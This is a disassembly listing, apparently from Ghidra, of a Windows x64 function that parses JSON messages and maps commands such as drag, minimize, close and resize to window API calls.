140005c1974 0aJZ LAB_140005c25
140005c1b48 8b 84 24 40 01 00 00MOV RAX,qword ptr [RSP + local_158]
140005c23eb 08JMP LAB_140005c2d
LAB_140005c25:
140005c2548 8d 84 24 31 01 00 00LEA RAX,[RSP + 0x131]
LAB_140005c2d:
140005c2d48 89 84 24 08 02 00 00MOV qword ptr [RSP + local_90],RAX
140005c35c7 84 24 d0 00 00 00 00 …MOV dword ptr [RSP + local_1c8[0]],0x0
140005c400f 57 c0XORPS XMM0,XMM0
140005c430f 11 84 24 d8 00 00 00MOVUPS xmmword ptr [RSP + local_1c8[8]],XMM0
140005c4b0f 11 84 24 e8 00 00 00MOVUPS xmmword ptr [RSP + local_1b0[0]],XMM0
140005c530f 11 84 24 f8 00 00 00MOVUPS xmmword ptr [RSP + local_1a0[0]],XMM0
140005c5b0f 11 84 24 08 01 00 00MOVUPS xmmword ptr [RSP + local_190[0]],XMM0
140005c630f 11 84 24 18 01 00 00MOVUPS xmmword ptr [RSP + local_180[0]],XMM0
140005c6b48 8d 8c 24 08 02 00 00LEA RCX,[RSP + 0x208]
140005c7348 8d 94 24 d0 00 00 00LEA RDX,[RSP + 0xd0]
140005c7be8 40 19 00 00CALL json_parser; → json_parser (B10, E20)
140005c8083 bc 24 d0 00 00 00 04CMP dword ptr [RSP + local_1c8[0]],0x4
140005c880f 94 c1SETZ CL
140005c8b20 c8AND AL,CL
140005c8d3c 01CMP AL,0x1
140005c8f0f 85 e8 07 00 00JNZ LAB_14000647d
140005c9548 8d 94 24 e0 00 00 00LEA RDX,[RSP + 0xe0]
140005c9d48 8d 8c 24 88 00 00 00LEA RCX,[RSP + 0x88]
140005ca5e8 86 d1 ff ffCALL FUN_140002e30; FUN_140002e30: MultiByteToWideChar
140005caa0f b6 84 24 88 00 00 00MOVZX EAX,byte ptr [RSP + local_210]
140005cb2a8 01TEST AL,0x1
140005cb40f 84 e4 00 00 00JZ LAB_140005d9e
140005cba4c 8b bc 24 90 00 00 00MOV R15,qword ptr [RSP + local_208]
140005cc249 83 ff 03CMP R15,0x3
140005cc60f 84 e4 00 00 00JZ LAB_140005db0
LAB_140005ccc:
140005ccc48 8d 8c 24 90 00 00 00LEA RCX,[RSP + 0x90]
140005cd449 83 ff 05CMP R15,0x5
140005cd80f 84 ea 02 00 00JZ LAB_140005fc8
140005cde49 83 ff 04CMP R15,0x4
140005ce20f 85 79 03 00 00JNZ LAB_140006061
140005ce8a8 01TEST AL,0x1
140005cea48 8d b4 24 8a 00 00 00LEA RSI,[RSP + 0x8a]
140005cf248 8b 94 24 98 00 00 00MOV RDX,qword ptr [RSP + local_200]
140005cfa48 0f 45 f2CMOVNZ RSI,RDX
140005cfe66 83 3e 64CMP word ptr [RSI],0x64
140005d020f 85 0f 02 00 00JNZ LAB_140005f17
140005d084c 8d 42 02LEA R8,[RDX + 0x2]
140005d0ca8 01TEST AL,0x1
140005d0e4c 8d 8c 24 8c 00 00 00LEA R9,[RSP + 0x8c]
140005d164d 0f 45 c8CMOVNZ R9,R8
140005d1a66 41 83 39 72CMP word ptr [R9],0x72
140005d1f0f 85 f2 01 00 00JNZ LAB_140005f17
140005d254c 8d 42 04LEA R8,[RDX + 0x4]
140005d29a8 01TEST AL,0x1
140005d2b4c 8d 8c 24 8e 00 00 00LEA R9,[RSP + 0x8e]
140005d334d 0f 45 c8CMOVNZ R9,R8
140005d3766 41 83 39 61CMP word ptr [R9],0x61
140005d3c0f 85 d5 01 00 00JNZ LAB_140005f17
140005d4248 83 c2 06ADD RDX,0x6
140005d46a8 01TEST AL,0x1
140005d4848 0f 44 d1CMOVZ RDX,RCX
140005d4c66 83 3a 67CMP word ptr [RDX],0x67
140005d500f 85 c1 01 00 00JNZ LAB_140005f17
140005d5648 8d 8c 24 78 01 00 00LEA RCX,[RSP + 0x178]
140005d5eff 15 cc c5 0a 00CALL qword ptr [PTR_GetCursorPos_1400b2330]
140005d64ff 15 1e c6 0a 00CALL qword ptr [PTR_ReleaseCapture_1400b2388]
140005d6a48 8b 0d df 36 0c 00MOV RCX,qword ptr [DAT_1400c9450]
140005d710f b7 84 24 78 01 00 00MOVZX EAX,word ptr [RSP + local_120]
140005d7944 8b 8c 24 7c 01 00 00MOV R9D,dword ptr [RSP + local_11c]
140005d8141 c1 e1 10SHL R9D,0x10
140005d8541 09 c1OR R9D,EAX
140005d8841 b8 02 00 00 00MOV R8D,0x2
140005d8eba a1 00 00 00MOV EDX,0xa1
140005d93ff 15 ff c5 0a 00CALL qword ptr [PTR_SendMessageW_1400b2398]
140005d99e9 c8 06 00 00JMP LAB_140006466
LAB_140005d9e:
140005d9e89 c1MOV ECX,EAX
140005da0d0 e9SHR CL,0x1
140005da244 0f b6 f9MOVZX R15D,CL
140005da649 83 ff 03CMP R15,0x3
140005daa0f 85 1c ff ff ffJNZ LAB_140005ccc
LAB_140005db0:
140005db0a8 01TEST AL,0x1
140005db248 8d b4 24 8a 00 00 00LEA RSI,[RSP + 0x8a]
140005dba48 8b 8c 24 98 00 00 00MOV RCX,qword ptr [RSP + local_200]
140005dc248 0f 45 f1CMOVNZ RSI,RCX
140005dc666 83 3e 6dCMP word ptr [RSI],0x6d
140005dca0f 85 47 01 00 00JNZ LAB_140005f17
140005dd048 8d 51 02LEA RDX,[RCX + 0x2]
140005dd4a8 01TEST AL,0x1
140005dd64c 8d 84 24 8c 00 00 00LEA R8,[RSP + 0x8c]
140005dde4c 0f 45 c2CMOVNZ R8,RDX
140005de266 41 83 38 69CMP word ptr [R8],0x69
140005de70f 85 2a 01 00 00JNZ LAB_140005f17
140005ded48 83 c1 04ADD RCX,0x4
140005df1a8 01TEST AL,0x1
140005df348 8d 84 24 8e 00 00 00LEA RAX,[RSP + 0x8e]
140005dfb48 0f 45 c1CMOVNZ RAX,RCX
140005dff66 83 38 6eCMP word ptr [RAX],0x6e
140005e030f 85 0e 01 00 00JNZ LAB_140005f17
140005e0948 8b 0d 40 36 0c 00MOV RCX,qword ptr [DAT_1400c9450]
140005e10ba 06 00 00 00MOV EDX,0x6
140005e15ff 15 9d c5 0a 00CALL qword ptr [PTR_ShowWindow_1400b23b8]
140005e1be9 46 06 00 00JMP LAB_140006466
LAB_140005e20:
140005e2048 8d 84 24 f1 01 00 00LEA RAX,[RSP + 0x1f1]
LAB_140005e28:
140005e2848 89 84 24 38 02 00 00MOV qword ptr [RSP + local_60],RAX
140005e30c7 84 24 78 01 00 00 00 …MOV dword ptr [RSP + local_120],0x0
140005e3b0f 57 c0XORPS XMM0,XMM0
140005e3e0f 11 84 24 80 01 00 00MOVUPS xmmword ptr [RSP + local_118[0]],XMM0
140005e460f 11 84 24 90 01 00 00MOVUPS xmmword ptr [RSP + local_108[0]],XMM0
140005e4e0f 11 84 24 a0 01 00 00MOVUPS xmmword ptr [RSP + local_f8[0]],XMM0
140005e560f 11 84 24 b0 01 00 00MOVUPS xmmword ptr [RSP + local_e8[0]],XMM0
140005e5e0f 11 84 24 c0 01 00 00MOVUPS xmmword ptr [RSP + local_d8[0]],XMM0
140005e6648 8d 8c 24 38 02 00 00LEA RCX,[RSP + 0x238]
140005e6e48 8d 94 24 78 01 00 00LEA RDX,[RSP + 0x178]
140005e76e8 45 17 00 00CALL json_parser; → json_parser (B10, E20)
140005e7b83 bc 24 78 01 00 00 06CMP dword ptr [RSP + local_120],0x6
140005e830f 94 c1SETZ CL
140005e8684 c8TEST AL,CL
140005e880f 84 c2 0a 00 00JZ LAB_140006950
140005e8ec6 44 24 30 04MOV byte ptr [RSP + local_268[0]],0x4
140005e9366 c7 44 24 31 69 64MOV word ptr [RSP + local_268[1]],0x6469
140005e9a48 8b 84 24 b8 01 00 00MOV RAX,qword ptr [RSP + local_e8[8]]
140005ea248 8b 8c 24 c0 01 00 00MOV RCX,qword ptr [RSP + local_d8[0]]
140005eaa48 39 c8CMP RAX,RCX
140005ead74 71JZ LAB_140005f20
140005eaf48 83 c0 18ADD RAX,0x18
140005eb3eb 2aJMP LAB_140005edf
LAB_140005ec0:
140005ec048 8b 50 f8MOV RDX,qword ptr [RAX + -0x8]
LAB_140005ec4:
140005ec40f b7 12MOVZX EDX,word ptr [RDX]
140005ec766 3b 54 24 31CMP DX,word ptr [RSP + local_268[1]]
140005ecc74 54JZ LAB_140005f22
LAB_140005ece:
140005ece48 8d 50 e8LEA RDX,[RAX + -0x18]
140005ed248 83 c0 70ADD RAX,0x70
140005ed648 83 c2 70ADD RDX,0x70
140005eda48 39 caCMP RDX,RCX
140005edd74 41JZ LAB_140005f20
LAB_140005edf:
140005edf0f b6 50 e8MOVZX EDX,byte ptr [RAX + -0x18]
140005ee3f6 c2 01TEST DL,0x1
140005ee674 18JZ LAB_140005f00
140005ee84c 8b 40 f0MOV R8,qword ptr [RAX + -0x10]
140005eec49 83 f8 02CMP R8,0x2
140005ef075 dcJNZ LAB_140005ece
140005ef2eb 18JMP LAB_140005f0c
LAB_140005f00:
140005f0041 89 d0MOV R8D,EDX
140005f0341 d1 e8SHR R8D,0x1
140005f0649 83 f8 02CMP R8,0x2
140005f0a75 c2JNZ LAB_140005ece
LAB_140005f0c:
140005f0cf6 c2 01TEST DL,0x1
140005f0f75 afJNZ LAB_140005ec0
140005f1148 8d 50 e9LEA RDX,[RAX + -0x17]
140005f15eb adJMP LAB_140005ec4
LAB_140005f17:
140005f174a 8d 04 7eLEA RAX,[RSI + R15*0x2]
140005f1be9 87 01 00 00JMP LAB_1400060a7
LAB_140005f20:
140005f2031 c0XOR EAX,EAX
LAB_140005f22:
140005f22c6 44 24 30 0cMOV byte ptr [RSP + local_268[0]],0xc
140005f27c7 44 24 31 6d 65 74 68MOV dword ptr [RSP + local_268[1]],0x6874656d
140005f2f66 c7 44 24 35 6f 64MOV word ptr [RSP + local_268[5]],0x646f
140005f3648 8b 94 24 b8 01 00 00MOV RDX,qword ptr [RSP + local_e8[8]]
140005f3e48 8b 8c 24 c0 01 00 00MOV RCX,qword ptr [RSP + local_d8[0]]
140005f4648 39 caCMP RDX,RCX
140005f490f 84 01 0a 00 00JZ LAB_140006950
140005f4f48 83 c2 18ADD RDX,0x18
140005f53eb 44JMP LAB_140005f99
LAB_140005f60:
140005f604c 8b 42 f8MOV R8,qword ptr [RDX + -0x8]
LAB_140005f64:
140005f6445 8b 08MOV R9D,dword ptr [R8]
140005f6744 33 4c 24 31XOR R9D,dword ptr [RSP + local_268[1]]
140005f6c45 0f b7 40 04MOVZX R8D,word ptr [R8 + 0x4]
140005f7166 44 33 44 24 35XOR R8W,word ptr [RSP + local_268[5]]
140005f7745 0f b7 c0MOVZX R8D,R8W
140005f7b45 09 c8OR R8D,R9D
140005f7e0f 84 ad 05 00 00JZ LAB_140006531
LAB_140005f84:
140005f844c 8d 42 e8LEA R8,[RDX + -0x18]
140005f8848 83 c2 70ADD RDX,0x70
140005f8c49 83 c0 70ADD R8,0x70
140005f9049 39 c8CMP R8,RCX
140005f930f 84 b7 09 00 00JZ LAB_140006950
LAB_140005f99:
140005f9944 0f b6 42 e8MOVZX R8D,byte ptr [RDX + -0x18]
140005f9e41 f6 c0 01TEST R8B,0x1
140005fa274 0cJZ LAB_140005fb0
140005fa44c 8b 4a f0MOV R9,qword ptr [RDX + -0x10]
140005fa849 83 f9 06CMP R9,0x6
140005fac75 d6JNZ LAB_140005f84
140005faeeb 0cJMP LAB_140005fbc
LAB_140005fb0:
140005fb045 89 c1MOV R9D,R8D
140005fb341 d1 e9SHR R9D,0x1
140005fb649 83 f9 06CMP R9,0x6
140005fba75 c8JNZ LAB_140005f84
LAB_140005fbc:
140005fbc41 f6 c0 01TEST R8B,0x1
140005fc075 9eJNZ LAB_140005f60
140005fc24c 8d 42 e9LEA R8,[RDX + -0x17]
140005fc6eb 9cJMP LAB_140005f64
LAB_140005fc8:
140005fc8a8 01TEST AL,0x1
140005fca48 8d b4 24 8a 00 00 00LEA RSI,[RSP + 0x8a]
140005fd248 8b 94 24 98 00 00 00MOV RDX,qword ptr [RSP + local_200]
140005fda48 0f 45 f2CMOVNZ RSI,RDX
140005fde66 83 3e 63CMP word ptr [RSI],0x63
140005fe20f 85 87 00 00 00JNZ LAB_14000606f
140005fe84c 8d 42 02LEA R8,[RDX + 0x2]
140005feca8 01TEST AL,0x1
140005fee4c 8d 8c 24 8c 00 00 00LEA R9,[RSP + 0x8c]
140005ff64d 0f 45 c8CMOVNZ R9,R8
140005ffa66 41 83 39 6cCMP word ptr [R9],0x6c
140005fff75 6eJNZ LAB_14000606f
1400060014c 8d 42 04LEA R8,[RDX + 0x4]
140006005a8 01TEST AL,0x1
1400060074c 8d 8c 24 8e 00 00 00LEA R9,[RSP + 0x8e]
14000600f4d 0f 45 c8CMOVNZ R9,R8
14000601366 41 83 39 6fCMP word ptr [R9],0x6f
14000601875 55JNZ LAB_14000606f
14000601a4c 8d 42 06LEA R8,[RDX + 0x6]
14000601ea8 01TEST AL,0x1
1400060204c 0f 44 c1CMOVZ R8,RCX
14000602466 41 83 38 73CMP word ptr [R8],0x73
14000602975 44JNZ LAB_14000606f
14000602b48 8d 4a 08LEA RCX,[RDX + 0x8]
14000602fa8 01TEST AL,0x1
1400060314c 8d 84 24 92 00 00 00LEA R8,[RSP + 0x92]
1400060394c 0f 45 c1CMOVNZ R8,RCX
14000603d66 41 83 38 65CMP word ptr [R8],0x65
14000604275 2bJNZ LAB_14000606f
14000604448 8b 0d 05 34 0c 00MOV RCX,qword ptr [DAT_1400c9450]
14000604bba 10 00 00 00MOV EDX,0x10
14000605045 31 c0XOR R8D,R8D
14000605345 31 c9XOR R9D,R9D
140006056ff 15 14 c3 0a 00CALL qword ptr [PTR_PostMessageW_1400b2370]
14000605ce9 05 04 00 00JMP LAB_140006466
LAB_140006061:
140006061a8 01TEST AL,0x1
14000606374 1eJZ LAB_140006083
14000606548 8b b4 24 98 00 00 00MOV RSI,qword ptr [RSP + local_200]
14000606deb 1cJMP LAB_14000608b
LAB_14000606f:
14000606f48 83 c2 0aADD RDX,0xa
140006073a8 01TEST AL,0x1
14000607548 8d 84 24 94 00 00 00LEA RAX,[RSP + 0x94]
14000607d48 0f 45 c2CMOVNZ RAX,RDX
140006081eb 24JMP LAB_1400060a7
LAB_140006083:
14000608348 8d b4 24 8a 00 00 00LEA RSI,[RSP + 0x8a]
LAB_14000608b:
14000608b49 83 ff 07CMP R15,0x7
14000608fb8 07 00 00 00MOV EAX,0x7
14000609449 0f 42 c7CMOVC RAX,R15
1400060984d 85 ffTEST R15,R15
14000609b0f 84 c5 03 00 00JZ LAB_140006466
1400060a189 c0MOV EAX,EAX
1400060a348 8d 04 46LEA RAX,[RSI + RAX*0x2]
LAB_1400060a7:
1400060a748 89 f2MOV RDX,RSI
1400060aa48 89 c1MOV RCX,RAX
LAB_1400060ad:
1400060ad49 89 d0MOV R8,RDX
LAB_1400060b0:
1400060b049 8d 50 02LEA RDX,[R8 + 0x2]
1400060b466 41 83 38 72CMP word ptr [R8],0x72
1400060b974 0aJZ LAB_1400060c5
1400060bb49 89 d0MOV R8,RDX
1400060be48 39 c2CMP RDX,RAX
1400060c175 edJNZ LAB_1400060b0
1400060c3eb 67JMP LAB_14000612c
LAB_1400060c5:
1400060c548 39 c2CMP RDX,RAX
1400060c874 62JZ LAB_14000612c
1400060ca66 83 3a 65CMP word ptr [RDX],0x65
1400060ce75 ddJNZ LAB_1400060ad
1400060d04d 8d 48 04LEA R9,[R8 + 0x4]
1400060d449 39 c1CMP R9,RAX
1400060d774 53JZ LAB_14000612c
1400060d966 41 83 39 73CMP word ptr [R9],0x73
1400060de75 cdJNZ LAB_1400060ad
1400060e04d 8d 48 06LEA R9,[R8 + 0x6]
1400060e449 39 c1CMP R9,RAX
1400060e774 43JZ LAB_14000612c
1400060e966 41 83 39 69CMP word ptr [R9],0x69
1400060ee75 bdJNZ LAB_1400060ad
1400060f04d 8d 48 08LEA R9,[R8 + 0x8]
1400060f449 39 c1CMP R9,RAX
1400060f774 33JZ LAB_14000612c
1400060f966 41 83 39 7aCMP word ptr [R9],0x7a
1400060fe75 adJNZ LAB_1400060ad
1400061004d 8d 48 0aLEA R9,[R8 + 0xa]
14000610449 39 c1CMP R9,RAX
14000610774 23JZ LAB_14000612c
14000610966 41 83 39 65CMP word ptr [R9],0x65
14000610e75 9dJNZ LAB_1400060ad
14000611049 8d 50 0cLEA RDX,[R8 + 0xc]
14000611448 39 c2CMP RDX,RAX
14000611774 13JZ LAB_14000612c
14000611949 8d 50 02LEA RDX,[R8 + 0x2]
14000611d66 41 83 78 0c 3aCMP word ptr [R8 + 0xc],0x3a
14000612349 0f 44 c8CMOVZ RCX,R8
140006127e9 81 ff ff ffJMP LAB_1400060ad
LAB_14000612c:
14000612c48 39 c1CMP RCX,RAX
14000612f0f 84 31 03 00 00JZ LAB_140006466
14000613548 39 f1CMP RCX,RSI
1400061380f 85 28 03 00 00JNZ LAB_140006466
14000613e0f 57 c0XORPS XMM0,XMM0
1400061410f 11 84 24 c0 01 00 00MOVUPS xmmword ptr [RSP + local_d8[0]],XMM0
1400061490f 11 84 24 b0 01 00 00MOVUPS xmmword ptr [RSP + local_e8[0]],XMM0
1400061510f 11 84 24 a0 01 00 00MOVUPS xmmword ptr [RSP + local_f8[0]],XMM0
1400061590f 11 84 24 90 01 00 00MOVUPS xmmword ptr [RSP + local_108[0]],XMM0
1400061610f 11 84 24 80 01 00 00MOVUPS xmmword ptr [RSP + local_118[0]],XMM0
140006169c7 84 24 78 01 00 00 06 …MOV dword ptr [RSP + local_120],0x6
1400061740f 11 44 24 78MOVUPS xmmword ptr [RSP + local_220[0]],XMM0
1400061790f 11 44 24 68MOVUPS xmmword ptr [RSP + local_230[0]],XMM0
14000617e0f 11 44 24 58MOVUPS xmmword ptr [RSP + local_240[0]],XMM0
1400061830f 11 44 24 48MOVUPS xmmword ptr [RSP + local_268[24]],XMM0
1400061880f 11 44 24 38MOVUPS xmmword ptr [RSP + local_268[8]],XMM0
14000618dc7 44 24 30 04 00 00 00MOV dword ptr [RSP + local_268[0]],0x4
14000619549 83 ff 06CMP R15,0x6
1400061990f 86 d1 10 00 00JBE LAB_140007270
14000619f49 8d 7f f9LEA RDI,[R15 + -0x7]
1400061a34c 39 f7CMP RDI,R14
1400061a60f 87 c9 10 00 00JA LAB_140007275
1400061ac48 83 ff 0bCMP RDI,0xb
1400061b073 19JNC LAB_1400061cb
1400061b28d 04 3fLEA EAX,[RDI + RDI*0x1]
1400061b588 84 24 60 01 00 00MOV byte ptr [RSP + local_138],AL
1400061bc48 8d 9c 24 62 01 00 00LEA RBX,[RSP + 0x162]
1400061c448 85 ffTEST RDI,RDI
1400061c775 43JNZ LAB_14000620c
1400061c9eb 56JMP LAB_140006221
LAB_1400061cb:
1400061cb48 89 f8MOV RAX,RDI
1400061ce48 83 c8 03OR RAX,0x3
1400061d248 8d 48 01LEA RCX,[RAX + 0x1]
1400061d648 83 f8 0bCMP RAX,0xb
1400061da41 be 0e 00 00 00MOV R14D,0xe
1400061e04c 0f 45 f1CMOVNZ R14,RCX
1400061e44b 8d 0c 36LEA RCX,[R14 + R14*0x1]
1400061e8e8 13 96 01 00CALL FUN_14001f800; FUN_14001f800: malloc
1400061ed48 89 c3MOV RBX,RAX
1400061f048 89 84 24 70 01 00 00MOV qword ptr [RSP + local_128],RAX
1400061f849 83 ce 01OR R14,0x1
1400061fc4c 89 b4 24 60 01 00 00MOV qword ptr [RSP + local_138],R14
14000620448 89 bc 24 68 01 00 00MOV qword ptr [RSP + local_130],RDI
LAB_14000620c:
14000620c48 83 c6 0eADD RSI,0xe
14000621048 01 ffADD RDI,RDI
14000621348 89 d9MOV RCX,RBX
14000621648 89 f2MOV RDX,RSI
14000621949 89 f8MOV R8,RDI
14000621ce8 1f 40 09 00CALL memmove
LAB_140006221:
14000622166 42 c7 44 7b f2 00 00MOV word ptr [RBX + R15*0x2 + -0xe],0x0
14000622948 8d 8c 24 a0 00 00 00LEA RCX,[RSP + 0xa0]
14000623148 8d 94 24 60 01 00 00LEA RDX,[RSP + 0x160]
140006239e8 42 cd ff ffCALL FUN_140002f80; FUN_140002f80: WideCharToMultiByte
14000623e48 8d 74 24 40LEA RSI,[RSP + 0x40]
140006243f6 44 24 40 01TEST byte ptr [RSP + local_268[16]],0x1
14000624874 0aJZ LAB_140006254
14000624a48 8b 4c 24 50MOV RCX,qword ptr [RSP + Stack[-0x248]]
14000624fe8 8c 96 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_140006254:
14000625448 8b 84 24 b0 00 00 00MOV RAX,qword ptr [RSP + local_1e8]
14000625c48 89 46 10MOV qword ptr [RSI + Stack[-0x248]],RAX
1400062600f 10 84 24 a0 00 00 00MOVUPS XMM0,xmmword ptr [RSP + local_1f8[0]]
1400062680f 11 06MOVUPS xmmword ptr [RSI],XMM0
14000626b66 c7 84 24 a0 00 00 00 …MOV word ptr [RSP + local_1f8[0]],0x0
140006275f6 84 24 60 01 00 00 01TEST byte ptr [RSP + local_138],0x1
14000627d74 0dJZ LAB_14000628c
14000627f48 8b 8c 24 70 01 00 00MOV RCX,qword ptr [RSP + local_128]
140006287e8 54 96 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_14000628c:
14000628c48 8b 84 24 c0 01 00 00MOV RAX,qword ptr [RSP + local_d8[0]]
14000629448 3b 84 24 c8 01 00 00CMP RAX,qword ptr [RSP + local_d8[8]]
14000629c0f 83 80 00 00 00JNC LAB_140006322
1400062a2c6 00 08MOV byte ptr [RAX],0x8
1400062a5c7 40 01 65 64 67 65MOV dword ptr [RAX + 0x1],0x65676465
1400062acc6 40 05 00MOV byte ptr [RAX + 0x5],0x0
1400062b00f 10 44 24 30MOVUPS XMM0,xmmword ptr [RSP + local_268[0]]
1400062b50f 11 40 18MOVUPS xmmword ptr [RAX + 0x18],XMM0
1400062b948 8b 4e 10MOV RCX,qword ptr [RSI + Stack[-0x248]]
1400062bd48 89 48 38MOV qword ptr [RAX + 0x38],RCX
1400062c10f 10 06MOVUPS XMM0,xmmword ptr [RSI]
1400062c40f 11 40 28MOVUPS xmmword ptr [RAX + 0x28],XMM0
1400062c80f 57 c0XORPS XMM0,XMM0
1400062cb0f 11 06MOVUPS xmmword ptr [RSI],XMM0
1400062ce48 c7 46 10 00 00 00 00MOV qword ptr [RSI + Stack[-0x248]],0x0
1400062d60f 10 4c 24 58MOVUPS XMM1,xmmword ptr [RSP + local_240[0]]
1400062db0f 11 48 40MOVUPS xmmword ptr [RAX + 0x40],XMM1
1400062df48 8b 4c 24 68MOV RCX,qword ptr [RSP + local_230[0]]
1400062e448 89 48 50MOV qword ptr [RAX + 0x50],RCX
1400062e80f 11 44 24 58MOVUPS xmmword ptr [RSP + local_240[0]],XMM0
1400062ed48 c7 44 24 68 00 00 00 …MOV qword ptr [RSP + local_230[0]],0x0
1400062f60f 10 4c 24 70MOVUPS XMM1,xmmword ptr [RSP + local_230[8]]
1400062fb0f 11 48 58MOVUPS xmmword ptr [RAX + 0x58],XMM1
1400062ff48 8b 8c 24 80 00 00 00MOV RCX,qword ptr [RSP + local_220[8]]
14000630748 89 48 68MOV qword ptr [RAX + 0x68],RCX
14000630b0f 11 44 24 70MOVUPS xmmword ptr [RSP + local_230[8]],XMM0
14000631048 c7 84 24 80 00 00 00 …MOV qword ptr [RSP + local_220[8]],0x0
14000631c48 83 c0 70ADD RAX,0x70
140006320eb 19JMP LAB_14000633b
LAB_140006322:
14000632248 8d 8c 24 b8 01 00 00LEA RCX,[RSP + 0x1b8]
14000632a48 8d 15 d0 56 09 00LEA RDX,[DAT_14009ba01]
1400063314c 8d 44 24 30LEA R8,[RSP + 0x30]
140006336e8 65 25 00 00CALL FUN_1400088a0; FUN_1400088a0: __acrt_iob_func, RtlUnwindEx
LAB_14000633b:
14000633b48 89 84 24 c0 01 00 00MOV qword ptr [RSP + local_d8[0]],RAX
14000634348 8d 8c 24 78 01 00 00LEA RCX,[RSP + 0x178]
14000634be8 90 cd ff ffCALL edge_handler; → edge_handler
14000635048 8b 74 24 70MOV RSI,qword ptr [RSP + local_230[8]]
14000635548 85 f6TEST RSI,RSI
14000635874 48JZ LAB_1400063a2
14000635a48 8b 7c 24 78MOV RDI,qword ptr [RSP + local_220[0]]
14000635f48 89 f1MOV RCX,RSI
14000636248 39 feCMP RSI,RDI
14000636575 12JNZ LAB_140006379
140006367eb 2fJMP LAB_140006398
LAB_140006370:
14000637048 83 c7 90ADD RDI,-0x70
14000637448 39 f7CMP RDI,RSI
14000637774 1aJZ LAB_140006393
LAB_140006379:
14000637948 8d 4f a8LEA RCX,[RDI + -0x58]
14000637de8 2e 19 00 00CALL FUN_140007cb0; FUN_140007cb0: free
140006382f6 47 90 01TEST byte ptr [RDI + -0x70],0x1
14000638674 e8JZ LAB_140006370
14000638848 8b 4f a0MOV RCX,qword ptr [RDI + -0x60]
14000638ce8 4f 95 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
140006391eb ddJMP LAB_140006370
LAB_140006393:
14000639348 8b 4c 24 70MOV RCX,qword ptr [RSP + local_230[8]]
LAB_140006398:
14000639848 89 74 24 78MOV qword ptr [RSP + local_220[0]],RSI
14000639de8 3e 95 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_1400063a2:
1400063a248 8b 54 24 58MOV RDX,qword ptr [RSP + local_240[0]]
1400063a748 85 d2TEST RDX,RDX
1400063aa74 14JZ LAB_1400063c0
1400063ac48 8d 4c 24 58LEA RCX,[RSP + 0x58]
1400063b1e8 2a 2a 00 00CALL FUN_140008de0; FUN_140008de0: free
1400063b648 8b 4c 24 58MOV RCX,qword ptr [RSP + 0x58]
1400063bbe8 20 95 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_1400063c0:
1400063c0f6 44 24 40 01TEST byte ptr [RSP + local_268[16]],0x1
1400063c574 0aJZ LAB_1400063d1
1400063c748 8b 4c 24 50MOV RCX,qword ptr [RSP + Stack[-0x248]]
1400063cce8 0f 95 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_1400063d1:
1400063d148 8b b4 24 b8 01 00 00MOV RSI,qword ptr [RSP + local_e8[8]]
1400063d948 85 f6TEST RSI,RSI
1400063dc74 4aJZ LAB_140006428
1400063de48 8b bc 24 c0 01 00 00MOV RDI,qword ptr [RSP + local_d8[0]]
1400063e648 89 f1MOV RCX,RSI
1400063e948 39 feCMP RSI,RDI
1400063ec75 0bJNZ LAB_1400063f9
1400063eeeb 2bJMP LAB_14000641b
LAB_1400063f0:
1400063f048 83 c7 90ADD RDI,-0x70
1400063f448 39 f7CMP RDI,RSI
1400063f774 1aJZ LAB_140006413
LAB_1400063f9:
1400063f948 8d 4f a8LEA RCX,[RDI + -0x58]
1400063fde8 ae 18 00 00CALL FUN_140007cb0; FUN_140007cb0: free
140006402f6 47 90 01TEST byte ptr [RDI + -0x70],0x1
14000640674 e8JZ LAB_1400063f0
14000640848 8b 4f a0MOV RCX,qword ptr [RDI + -0x60]
14000640ce8 cf 94 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
140006411eb ddJMP LAB_1400063f0
LAB_140006413:
14000641348 8b 8c 24 b8 01 00 00MOV RCX,qword ptr [RSP + local_e8[8]]
LAB_14000641b:
14000641b48 89 b4 24 c0 01 00 00MOV qword ptr [RSP + local_d8[0]],RSI
140006423e8 b8 94 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_140006428:
14000642848 8b 94 24 a0 01 00 00MOV RDX,qword ptr [RSP + local_f8[0]]
14000643048 85 d2TEST RDX,RDX
14000643374 1aJZ LAB_14000644f
14000643548 8d 8c 24 a0 01 00 00LEA RCX,[RSP + 0x1a0]
14000643de8 9e 29 00 00CALL FUN_140008de0; FUN_140008de0: free
14000644248 8b 8c 24 a0 01 00 00MOV RCX,qword ptr [RSP + 0x1a0]
14000644ae8 91 94 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_14000644f:
14000644ff6 84 24 88 01 00 00 01TEST byte ptr [RSP + local_118[8]],0x1
14000645774 0dJZ LAB_140006466
14000645948 8b 8c 24 98 01 00 00MOV RCX,qword ptr [RSP + local_108[8]]
140006461e8 7a 94 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_140006466:
140006466f6 84 24 88 00 00 00 01TEST byte ptr [RSP + local_210],0x1
14000646e74 0dJZ LAB_14000647d
14000647048 8b 8c 24 98 00 00 00MOV RCX,qword ptr [RSP + local_200]
140006478e8 63 94 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_14000647d:
14000647d48 8b b4 24 10 01 00 00MOV RSI,qword ptr [RSP + local_190[8]]
14000648548 85 f6TEST RSI,RSI
14000648874 4eJZ LAB_1400064d8
14000648a48 8b bc 24 18 01 00 00MOV RDI,qword ptr [RSP + local_180[0]]
14000649248 89 f1MOV RCX,RSI
14000649548 39 feCMP RSI,RDI
14000649875 0fJNZ LAB_1400064a9
14000649aeb 2fJMP LAB_1400064cb
LAB_1400064a0:
1400064a048 83 c7 90ADD RDI,-0x70
1400064a448 39 f7CMP RDI,RSI
1400064a774 1aJZ LAB_1400064c3
LAB_1400064a9:
1400064a948 8d 4f a8LEA RCX,[RDI + -0x58]
1400064ade8 fe 17 00 00CALL FUN_140007cb0; FUN_140007cb0: free
1400064b2f6 47 90 01TEST byte ptr [RDI + -0x70],0x1
1400064b674 e8JZ LAB_1400064a0
1400064b848 8b 4f a0MOV RCX,qword ptr [RDI + -0x60]
1400064bce8 1f 94 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
1400064c1eb ddJMP LAB_1400064a0
LAB_1400064c3:
1400064c348 8b 8c 24 10 01 00 00MOV RCX,qword ptr [RSP + local_190[8]]
